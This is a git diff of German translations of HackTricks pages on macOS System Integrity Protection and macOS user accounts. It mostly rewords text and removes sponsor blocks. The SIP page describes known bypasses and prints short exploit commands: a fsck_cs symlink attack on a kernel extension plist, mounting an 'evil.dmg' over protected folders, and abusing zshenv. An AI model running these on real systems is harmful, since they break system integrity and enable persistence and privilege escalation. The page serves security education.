@@ -99,7 +75,7 @@ Lernen Sie & üben Sie GCP-Hacking: {% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.md index cc9d7418b..6b244124d 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.md @@ -15,30 +15,17 @@ Learn & practice GCP Hacking: {% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) ist eine **dark-web**-gestützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden. - -Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren. - -Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter: - -{% embed url="https://whiteintel.io" %} - -*** ## **Grundinformationen** -**System Integrity Protection (SIP)** in macOS ist ein Mechanismus, der entwickelt wurde, um selbst die privilegiertesten Benutzer daran zu hindern, unbefugte Änderungen an wichtigen Systemordnern vorzunehmen. Diese Funktion spielt eine entscheidende Rolle bei der Aufrechterhaltung der Integrität des Systems, indem sie Aktionen wie das Hinzufügen, Ändern oder Löschen von Dateien in geschützten Bereichen einschränkt. Die wichtigsten Ordner, die durch SIP geschützt sind, umfassen: +**System Integrity Protection (SIP)** in macOS ist ein Mechanismus, der verhindern soll, dass selbst die privilegiertesten Benutzer unbefugte Änderungen an wichtigen Systemordnern vornehmen. Diese Funktion spielt eine entscheidende Rolle bei der Aufrechterhaltung der Integrität des Systems, indem sie Aktionen wie das Hinzufügen, Ändern oder Löschen von Dateien in geschützten Bereichen einschränkt. Die wichtigsten Ordner, die durch SIP geschützt sind, umfassen: * **/System** * **/bin** * **/sbin** * **/usr** -Die Regeln, die das Verhalten von SIP steuern, sind in der Konfigurationsdatei festgelegt, die sich unter **`/System/Library/Sandbox/rootless.conf`** befindet. Innerhalb dieser Datei werden Pfade, die mit einem Sternchen (\*) vorangestellt sind, als Ausnahmen von den ansonsten strengen SIP-Beschränkungen bezeichnet. +Die Regeln, die das Verhalten von SIP steuern, sind in der Konfigurationsdatei unter **`/System/Library/Sandbox/rootless.conf`** definiert. Innerhalb dieser Datei werden Pfade, die mit einem Sternchen (\*) vorangestellt sind, als Ausnahmen von den ansonsten strengen SIP-Beschränkungen bezeichnet. Betrachten Sie das folgende Beispiel: ```javascript @@ -47,7 +34,7 @@ Betrachten Sie das folgende Beispiel: * /usr/local * /usr/share/man ``` -Dieser Abschnitt impliziert, dass SIP im Allgemeinen das **`/usr`** Verzeichnis sichert, es jedoch spezifische Unterverzeichnisse (`/usr/libexec/cups`, `/usr/local` und `/usr/share/man`) gibt, in denen Modifikationen zulässig sind, wie durch den Stern (\*) vor ihren Pfaden angezeigt. +Dieser Abschnitt impliziert, dass SIP im Allgemeinen das **`/usr`** Verzeichnis sichert, es jedoch spezifische Unterverzeichnisse (`/usr/libexec/cups`, `/usr/local` und `/usr/share/man`) gibt, in denen Änderungen zulässig sind, wie durch den Stern (\*) vor ihren Pfaden angezeigt. Um zu überprüfen, ob ein Verzeichnis oder eine Datei durch SIP geschützt ist, können Sie den Befehl **`ls -lOd`** verwenden, um das Vorhandensein des **`restricted`** oder **`sunlnk`** Flags zu überprüfen. Zum Beispiel: ```bash @@ -61,9 +48,9 @@ Andererseits: ls -lOd /usr/libexec drwxr-xr-x 338 root wheel restricted 10816 May 13 00:29 /usr/libexec ``` -Hier zeigt das **`restricted`** Flag an, dass das Verzeichnis `/usr/libexec` durch SIP geschützt ist. In einem SIP-geschützten Verzeichnis können Dateien nicht erstellt, geändert oder gelöscht werden. +Hier zeigt das **`restricted`** Flag an, dass das Verzeichnis `/usr/libexec` durch SIP geschützt ist. In einem SIP-geschützten Verzeichnis können keine Dateien erstellt, geändert oder gelöscht werden. -Darüber hinaus wird eine Datei, die das Attribut **`com.apple.rootless`** als erweiterte **Eigenschaft** enthält, ebenfalls **durch SIP geschützt**. +Darüber hinaus wird eine Datei, die das Attribut **`com.apple.rootless`** als erweitertes **Attribut** enthält, ebenfalls **durch SIP geschützt**. **SIP beschränkt auch andere Root-Aktionen** wie: @@ -72,7 +59,7 @@ Darüber hinaus wird eine Datei, die das Attribut **`com.apple.rootless`** als e * Ändern von NVRAM-Variablen * Erlauben von Kernel-Debugging -Optionen werden in der NVRAM-Variablen als Bitflag (`csr-active-config` auf Intel und `lp-sip0` wird aus dem gebooteten Device Tree für ARM gelesen) gespeichert. Sie können die Flags im XNU-Quellcode in `csr.sh` finden: +Optionen werden in der NVRAM-Variablen als Bitflag gespeichert (`csr-active-config` auf Intel und `lp-sip0` wird aus dem gebooteten Device Tree für ARM gelesen). Sie können die Flags im XNU-Quellcode in `csr.sh` finden:
@@ -86,7 +73,7 @@ Wenn Sie SIP deaktivieren müssen, müssen Sie Ihren Computer im Wiederherstellu ```bash csrutil disable ``` -Wenn Sie SIP aktiviert lassen, aber die Debugging-Schutzmaßnahmen entfernen möchten, können Sie dies mit folgendem Befehl tun: +Wenn Sie SIP aktiviert lassen, aber die Debugging-Schutzmaßnahmen entfernen möchten, können Sie dies tun mit: ```bash csrutil enable --without debug ``` @@ -94,7 +81,7 @@ csrutil enable --without debug * **Verhindert das Laden von nicht signierten Kernel-Erweiterungen** (kexts), wodurch sichergestellt wird, dass nur verifizierte Erweiterungen mit dem Systemkernel interagieren. * **Verhindert das Debugging** von macOS-Systemprozessen und schützt so die Kernkomponenten des Systems vor unbefugtem Zugriff und Modifikation. -* **Hemmung von Tools** wie dtrace, die Systemprozesse inspizieren, um die Integrität des Systembetriebs weiter zu schützen. +* **Hemmung von Tools** wie dtrace, um Systemprozesse zu inspizieren, was die Integrität des Systembetriebs weiter schützt. [**Erfahren Sie mehr über SIP-Informationen in diesem Vortrag**](https://www.slideshare.net/i0n1c/syscan360-stefan-esser-os-x-el-capitan-sinking-the-ship)**.** @@ -104,7 +91,7 @@ Die Umgehung von SIP ermöglicht es einem Angreifer: * **Zugriff auf Benutzerdaten**: Sensible Benutzerdaten wie E-Mails, Nachrichten und Safari-Verlauf aus allen Benutzerkonten zu lesen. * **TCC-Umgehung**: Direkte Manipulation der TCC (Transparenz, Zustimmung und Kontrolle)-Datenbank, um unbefugten Zugriff auf die Webcam, das Mikrofon und andere Ressourcen zu gewähren. -* **Persistenz herstellen**: Malware an SIP-geschützten Orten platzieren, wodurch sie resistent gegen Entfernung ist, selbst durch Root-Rechte. Dies schließt auch die Möglichkeit ein, das Malware Removal Tool (MRT) zu manipulieren. +* **Persistenz herstellen**: Malware an SIP-geschützten Orten platzieren, wodurch sie resistent gegen Entfernung wird, selbst durch Root-Rechte. Dies schließt auch die Möglichkeit ein, das Malware Removal Tool (MRT) zu manipulieren. * **Kernel-Erweiterungen laden**: Obwohl es zusätzliche Schutzmaßnahmen gibt, vereinfacht die Umgehung von SIP den Prozess des Ladens von nicht signierten Kernel-Erweiterungen. ### Installationspakete @@ -123,7 +110,7 @@ Die Berechtigung **`com.apple.rootless.install.heritable`** ermöglicht es, SIP #### [CVE-2019-8561](https://objective-see.org/blog/blog\_0x42.html) -Es wurde entdeckt, dass es möglich war, **das Installationspaket zu tauschen, nachdem das System seine Code**-Signatur überprüft hatte, und dann würde das System das bösartige Paket anstelle des Originals installieren. Da diese Aktionen von **`system_installd`** durchgeführt wurden, würde dies die Umgehung von SIP ermöglichen. +Es wurde entdeckt, dass es möglich war, **das Installationspaket nach der Überprüfung der Codesignatur durch das System zu tauschen**, sodass das System das bösartige Paket anstelle des Originals installieren würde. Da diese Aktionen von **`system_installd`** durchgeführt wurden, würde dies die Umgehung von SIP ermöglichen. #### [CVE-2020–9854](https://objective-see.org/blog/blog\_0x4D.html) @@ -131,21 +118,21 @@ Wenn ein Paket von einem gemounteten Image oder externen Laufwerk installiert wu #### CVE-2021-30892 - Shrootless -[**Forscher aus diesem Blogbeitrag**](https://www.microsoft.com/en-us/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/) entdeckten eine Schwachstelle im Systemintegritätsschutz (SIP) von macOS, die als 'Shrootless'-Schwachstelle bezeichnet wird. Diese Schwachstelle konzentriert sich auf den **`system_installd`**-Daemon, der eine Berechtigung, **`com.apple.rootless.install.heritable`**, hat, die es einem seiner Kindprozesse ermöglicht, die Dateisystembeschränkungen von SIP zu umgehen. +[**Forscher aus diesem Blogbeitrag**](https://www.microsoft.com/en-us/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/) entdeckten eine Schwachstelle im Systemintegritätsschutz (SIP)-Mechanismus von macOS, die als 'Shrootless'-Schwachstelle bezeichnet wird. Diese Schwachstelle konzentriert sich auf den **`system_installd`**-Daemon, der eine Berechtigung, **`com.apple.rootless.install.heritable`**, hat, die es einem seiner Kindprozesse ermöglicht, die Dateisystembeschränkungen von SIP zu umgehen. Der **`system_installd`**-Daemon installiert Pakete, die von **Apple** signiert wurden. -Forscher fanden heraus, dass während der Installation eines von Apple signierten Pakets (.pkg-Datei) **`system_installd`** **alle** **Post-Installations**-Skripte ausführt, die im Paket enthalten sind. Diese Skripte werden von der Standard-Shell, **`zsh`**, ausgeführt, die automatisch **Befehle aus der** **`/etc/zshenv`**-Datei ausführt, wenn sie existiert, selbst im nicht-interaktiven Modus. Dieses Verhalten könnte von Angreifern ausgenutzt werden: indem sie eine bösartige `/etc/zshenv`-Datei erstellen und auf **`system_installd` warten, um `zsh` aufzurufen**, könnten sie beliebige Operationen auf dem Gerät durchführen. +Forscher fanden heraus, dass während der Installation eines von Apple signierten Pakets (.pkg-Datei) **`system_installd`** **alle** **Post-Installations**-Skripte ausführt, die im Paket enthalten sind. Diese Skripte werden von der Standard-Shell, **`zsh`**, ausgeführt, die automatisch **Befehle aus der Datei** **`/etc/zshenv`** ausführt, wenn sie existiert, selbst im nicht-interaktiven Modus. Dieses Verhalten könnte von Angreifern ausgenutzt werden: indem sie eine bösartige `/etc/zshenv`-Datei erstellen und auf **`system_installd` warten, um `zsh` aufzurufen**, könnten sie beliebige Operationen auf dem Gerät durchführen. Darüber hinaus wurde entdeckt, dass **`/etc/zshenv` als allgemeine Angriffstechnik** verwendet werden könnte, nicht nur für eine SIP-Umgehung. Jedes Benutzerprofil hat eine `~/.zshenv`-Datei, die sich genauso verhält wie `/etc/zshenv`, aber keine Root-Rechte benötigt. Diese Datei könnte als Persistenzmechanismus verwendet werden, der jedes Mal ausgelöst wird, wenn `zsh` gestartet wird, oder als Mechanismus zur Erhöhung der Berechtigungen. Wenn ein Admin-Benutzer mit `sudo -s` oder `sudo ` zu Root aufsteigt, würde die `~/.zshenv`-Datei ausgelöst, was effektiv zu Root-Rechten führt. #### [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/) -In [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/) wurde entdeckt, dass der gleiche **`system_installd`**-Prozess weiterhin missbraucht werden konnte, da er das **Post-Installations-Skript in einen zufällig benannten Ordner, der von SIP in `/tmp` geschützt ist,** legte. Das Problem ist, dass **`/tmp` selbst nicht von SIP geschützt ist**, sodass es möglich war, ein **virtuelles Image darauf zu mounten**, dann würde der **Installer** das **Post-Installations-Skript** dort ablegen, das virtuelle Image **aushängen**, alle **Ordner** **neu erstellen** und das **Post-Installations**-Skript mit der **Payload** zum Ausführen hinzufügen. +In [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/) wurde entdeckt, dass der gleiche **`system_installd`**-Prozess weiterhin missbraucht werden konnte, da er das **Post-Installationsskript in einen zufällig benannten Ordner, der durch SIP in `/tmp` geschützt ist,** legte. Das Problem ist, dass **`/tmp` selbst nicht durch SIP geschützt ist**, sodass es möglich war, ein **virtuelles Image darauf zu mounten**, dann würde der **Installer** das **Post-Installationsskript** dort ablegen, das virtuelle Image **aushängen**, alle **Ordner neu erstellen** und das **Post-Installationsskript** mit der **Payload** hinzufügen, um es auszuführen. #### [fsck\_cs utility](https://www.theregister.com/2016/03/30/apple\_os\_x\_rootless/) -Eine Schwachstelle wurde identifiziert, bei der **`fsck_cs`** in die Irre geführt wurde, um eine entscheidende Datei zu beschädigen, aufgrund seiner Fähigkeit, **symbolische Links** zu folgen. Konkret erstellten Angreifer einen Link von _`/dev/diskX`_ zur Datei `/System/Library/Extensions/AppleKextExcludeList.kext/Contents/Info.plist`. Das Ausführen von **`fsck_cs`** auf _`/dev/diskX`_ führte zur Beschädigung von `Info.plist`. Die Integrität dieser Datei ist entscheidend für den SIP (System Integrity Protection) des Betriebssystems, der das Laden von Kernel-Erweiterungen steuert. Sobald sie beschädigt ist, ist die Fähigkeit von SIP, Kernel-Ausschlüsse zu verwalten, beeinträchtigt. +Eine Schwachstelle wurde identifiziert, bei der **`fsck_cs`** in die Irre geführt wurde, um eine entscheidende Datei zu beschädigen, aufgrund seiner Fähigkeit, **symbolische Links** zu folgen. Angreifer erstellten speziell einen Link von _`/dev/diskX`_ zur Datei `/System/Library/Extensions/AppleKextExcludeList.kext/Contents/Info.plist`. Das Ausführen von **`fsck_cs`** auf _`/dev/diskX`_ führte zur Beschädigung von `Info.plist`. Die Integrität dieser Datei ist entscheidend für den SIP (System Integrity Protection) des Betriebssystems, der das Laden von Kernel-Erweiterungen steuert. Sobald sie beschädigt ist, ist die Fähigkeit von SIP, Kernel-Ausschlüsse zu verwalten, beeinträchtigt. Die Befehle zur Ausnutzung dieser Schwachstelle sind: ```bash @@ -154,7 +141,7 @@ fsck_cs /dev/diskX 1>&- touch /Library/Extensions/ reboot ``` -Die Ausnutzung dieser Schwachstelle hat schwerwiegende Folgen. Die `Info.plist`-Datei, die normalerweise für die Verwaltung von Berechtigungen für Kernel-Erweiterungen verantwortlich ist, wird unwirksam. Dazu gehört die Unfähigkeit, bestimmte Erweiterungen wie `AppleHWAccess.kext` auf die schwarze Liste zu setzen. Folglich kann diese Erweiterung, da der Kontrollmechanismus von SIP außer Betrieb ist, geladen werden, was unbefugten Lese- und Schreibzugriff auf den RAM des Systems gewährt. +Die Ausnutzung dieser Schwachstelle hat schwerwiegende Folgen. Die `Info.plist`-Datei, die normalerweise für die Verwaltung der Berechtigungen für Kernel-Erweiterungen verantwortlich ist, wird unwirksam. Dazu gehört die Unfähigkeit, bestimmte Erweiterungen wie `AppleHWAccess.kext` auf die schwarze Liste zu setzen. Folglich kann diese Erweiterung, da der Kontrollmechanismus von SIP außer Betrieb ist, geladen werden, was unbefugten Lese- und Schreibzugriff auf den RAM des Systems gewährt. #### [Mount über SIP geschützte Ordner](https://www.slideshare.net/i0n1c/syscan360-stefan-esser-os-x-el-capitan-sinking-the-ship) @@ -167,15 +154,15 @@ hdiutil attach -mountpoint /System/Library/Snadbox/ evil.dmg ``` #### [Upgrader bypass (2016)](https://objective-see.org/blog/blog\_0x14.html) -Das System ist so eingestellt, dass es von einem eingebetteten Installations-Image innerhalb von `Install macOS Sierra.app` bootet, um das Betriebssystem zu aktualisieren, wobei das `bless`-Dienstprogramm verwendet wird. Der verwendete Befehl lautet wie folgt: +Das System ist so eingestellt, dass es von einem eingebetteten Installationsdisk-Image innerhalb von `Install macOS Sierra.app` bootet, um das Betriebssystem zu aktualisieren, wobei das `bless`-Dienstprogramm verwendet wird. Der verwendete Befehl lautet wie folgt: ```bash /usr/sbin/bless -setBoot -folder /Volumes/Macintosh HD/macOS Install Data -bootefi /Volumes/Macintosh HD/macOS Install Data/boot.efi -options config="\macOS Install Data\com.apple.Boot" -label macOS Installer ``` Die Sicherheit dieses Prozesses kann gefährdet werden, wenn ein Angreifer das Upgrade-Image (`InstallESD.dmg`) vor dem Booten verändert. Die Strategie besteht darin, einen dynamischen Loader (dyld) durch eine bösartige Version (`libBaseIA.dylib`) zu ersetzen. Dieser Austausch führt dazu, dass der Code des Angreifers ausgeführt wird, wenn der Installer gestartet wird. -Der Code des Angreifers erlangt während des Upgrade-Prozesses die Kontrolle und nutzt das Vertrauen des Systems in den Installer aus. Der Angriff erfolgt durch die Veränderung des `InstallESD.dmg`-Images mittels Methodenswizzling, wobei insbesondere die Methode `extractBootBits` ins Visier genommen wird. Dies ermöglicht die Einspeisung von bösartigem Code, bevor das Disk-Image verwendet wird. +Der Code des Angreifers erlangt während des Upgrade-Prozesses die Kontrolle und nutzt das Vertrauen des Systems in den Installer aus. Der Angriff erfolgt durch die Veränderung des `InstallESD.dmg`-Images mittels Method Swizzling, wobei insbesondere die Methode `extractBootBits` ins Visier genommen wird. Dies ermöglicht die Einspeisung von bösartigem Code, bevor das Disk-Image verwendet wird. -Darüber hinaus gibt es im `InstallESD.dmg` ein `BaseSystem.dmg`, das als Wurzel-Dateisystem des Upgrade-Codes dient. Das Einspeisen einer dynamischen Bibliothek in dieses ermöglicht es dem bösartigen Code, innerhalb eines Prozesses zu arbeiten, der in der Lage ist, OS-Ebene-Dateien zu ändern, was das Potenzial für eine Kompromittierung des Systems erheblich erhöht. +Darüber hinaus gibt es im `InstallESD.dmg` ein `BaseSystem.dmg`, das als Wurzel-Dateisystem des Upgrade-Codes dient. Das Einspeisen einer dynamischen Bibliothek in dieses ermöglicht es dem bösartigen Code, innerhalb eines Prozesses zu arbeiten, der in der Lage ist, OS-Level-Dateien zu ändern, was das Potenzial für eine Systemkompromittierung erheblich erhöht. #### [systemmigrationd (2023)](https://www.youtube.com/watch?v=zxZesAN-TEk) @@ -183,21 +170,21 @@ In diesem Vortrag von [**DEF CON 31**](https://www.youtube.com/watch?v=zxZesAN-T #### CVE-2023-42860 -Wie [**in diesem Blogbeitrag detailliert beschrieben**](https://blog.kandji.io/apple-mitigates-vulnerabilities-installer-scripts), erlaubte ein `postinstall`-Skript aus `InstallAssistant.pkg`, das ausgeführt wurde: +Wie [**in diesem Blogbeitrag detailliert beschrieben**](https://blog.kandji.io/apple-mitigates-vulnerabilities-installer-scripts), erlaubten `postinstall`-Skripte aus `InstallAssistant.pkg`-Paketen die Ausführung: ```bash /usr/bin/chflags -h norestricted "${SHARED_SUPPORT_PATH}/SharedSupport.dmg" ``` -und es war möglich, einen Symlink in `${SHARED_SUPPORT_PATH}/SharedSupport.dmg` zu erstellen, der es einem Benutzer ermöglichen würde, **jede Datei zu entsperren und die SIP-Schutzmaßnahmen zu umgehen**. +und es war möglich, einen Symlink in `${SHARED_SUPPORT_PATH}/SharedSupport.dmg` zu erstellen, der es einem Benutzer ermöglichen würde, **jede Datei zu entsperren und SIP-Schutz zu umgehen**. ### **com.apple.rootless.install** {% hint style="danger" %} -Die Berechtigung **`com.apple.rootless.install`** ermöglicht es, SIP zu umgehen. +Die Berechtigung **`com.apple.rootless.install`** ermöglicht es, SIP zu umgehen {% endhint %} -Die Berechtigung `com.apple.rootless.install` ist bekannt dafür, die System Integrity Protection (SIP) auf macOS zu umgehen. Dies wurde insbesondere im Zusammenhang mit [**CVE-2022-26712**](https://jhftss.github.io/CVE-2022-26712-The-POC-For-SIP-Bypass-Is-Even-Tweetable/) erwähnt. +Die Berechtigung `com.apple.rootless.install` ist bekannt dafür, den System Integrity Protection (SIP) auf macOS zu umgehen. Dies wurde insbesondere im Zusammenhang mit [**CVE-2022-26712**](https://jhftss.github.io/CVE-2022-26712-The-POC-For-SIP-Bypass-Is-Even-Tweetable/) erwähnt. -In diesem speziellen Fall besitzt der System-XPC-Dienst, der sich unter `/System/Library/PrivateFrameworks/ShoveService.framework/Versions/A/XPCServices/SystemShoveService.xpc` befindet, diese Berechtigung. Dies ermöglicht dem zugehörigen Prozess, die SIP-Beschränkungen zu umgehen. Darüber hinaus bietet dieser Dienst bemerkenswerterweise eine Methode, die das Verschieben von Dateien ohne Durchsetzung von Sicherheitsmaßnahmen erlaubt. +In diesem speziellen Fall besitzt der System-XPC-Dienst, der sich unter `/System/Library/PrivateFrameworks/ShoveService.framework/Versions/A/XPCServices/SystemShoveService.xpc` befindet, diese Berechtigung. Dies ermöglicht dem zugehörigen Prozess, SIP-Beschränkungen zu umgehen. Darüber hinaus bietet dieser Dienst bemerkenswerterweise eine Methode, die das Verschieben von Dateien ohne Durchsetzung von Sicherheitsmaßnahmen erlaubt. ## Versiegelte System-Snapshots @@ -266,28 +253,17 @@ Darüber hinaus wird die Snapshot-Disk ebenfalls als **schreibgeschützt** gemou mount /dev/disk3s1s1 on / (apfs, sealed, local, read-only, journaled) ``` -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) ist eine **dark-web**-gestützte Suchmaschine, die **kostenlose** Funktionen anbietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden. - -Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren. - -Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} -Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Support HackTricks +Unterstütze HackTricks -* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! -* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Teilen Sie Hacking-Tricks, indem Sie PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichen. +* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! +* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-users.md b/macos-hardening/macos-security-and-privilege-escalation/macos-users.md index 90ab482a8..f84e5e698 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-users.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-users.md @@ -1,44 +1,29 @@ # macOS Benutzer {% hint style="success" %} -Lernen & üben Sie AWS-Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lernen & üben Sie GCP-Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Unterstützen Sie HackTricks +Unterstütze HackTricks -* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! -* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositorys senden. +* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! +* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
{% endhint %} -### [WhiteIntel](https://whiteintel.io) -
+### Gemeinsame Benutzer -[**WhiteIntel**](https://whiteintel.io) ist eine von **Dark Web** angetriebene Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder seine Kunden von **Stealer-Malware** **kompromittiert** wurden. - -Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe aufgrund von informationsstehlender Malware zu bekämpfen. - -Sie können ihre Website besuchen und ihren Dienst **kostenlos** ausprobieren unter: - -{% embed url="https://whiteintel.io" %} - -*** - -### Standardbenutzer - -* **Daemon**: Benutzer, der für Systemdaemons reserviert ist. Die Standard-Daemon-Kontonamen beginnen normalerweise mit einem "\_": +* **Daemon**: Benutzer, der für System-Daemons reserviert ist. Die Standard-Daemon-Kontonamen beginnen normalerweise mit einem "\_": ```bash _amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs ``` * **Gast**: Konto für Gäste mit sehr strengen Berechtigungen - -{% code overflow="wrap" %} ```bash state=("automaticTime" "afpGuestAccess" "filesystem" "guestAccount" "smbGuestAccess") for i in "${state[@]}"; do sysadminctl -"${i}" status; done; @@ -48,24 +33,24 @@ for i in "${state[@]}"; do sysadminctl -"${i}" status; done; * **Niemand**: Prozesse werden mit diesem Benutzer ausgeführt, wenn minimale Berechtigungen erforderlich sind * **Root** -### Benutzerrechte +### Benutzerberechtigungen -* **Standardbenutzer:** Der einfachste Benutzer. Dieser Benutzer benötigt Berechtigungen, die von einem Administrator erteilt werden, wenn er versucht, Software zu installieren oder andere fortgeschrittene Aufgaben auszuführen. Sie können es nicht alleine tun. -* **Admin-Benutzer**: Ein Benutzer, der die meiste Zeit als Standardbenutzer arbeitet, aber auch root-Aktionen wie die Installation von Software und andere administrative Aufgaben ausführen darf. Alle Benutzer, die zur Admin-Gruppe gehören, erhalten **Zugriff auf root über die sudoers-Datei**. -* **Root**: Root ist ein Benutzer, der fast jede Aktion ausführen darf (es gibt Einschränkungen durch Schutzmaßnahmen wie die System Integrity Protection). -* Zum Beispiel kann root keine Datei innerhalb von `/System` platzieren +* **Standardbenutzer:** Der grundlegendste Benutzer. Dieser Benutzer benötigt Berechtigungen, die von einem Administrator gewährt werden, wenn er versucht, Software zu installieren oder andere fortgeschrittene Aufgaben auszuführen. Er kann dies nicht selbst tun. +* **Administratorbenutzer**: Ein Benutzer, der die meiste Zeit als Standardbenutzer arbeitet, aber auch berechtigt ist, Root-Aktionen wie die Installation von Software und andere administrative Aufgaben auszuführen. Alle Benutzer, die zur Administratorgruppe gehören, haben **Zugriff auf Root über die sudoers-Datei**. +* **Root**: Root ist ein Benutzer, der fast jede Aktion ausführen darf (es gibt Einschränkungen, die durch Schutzmaßnahmen wie den System Integrity Protection auferlegt werden). +* Zum Beispiel kann Root keine Datei in `/System` ablegen. {% hint style="success" %} -Lernen Sie & üben Sie AWS-Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lernen Sie & üben Sie GCP-Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
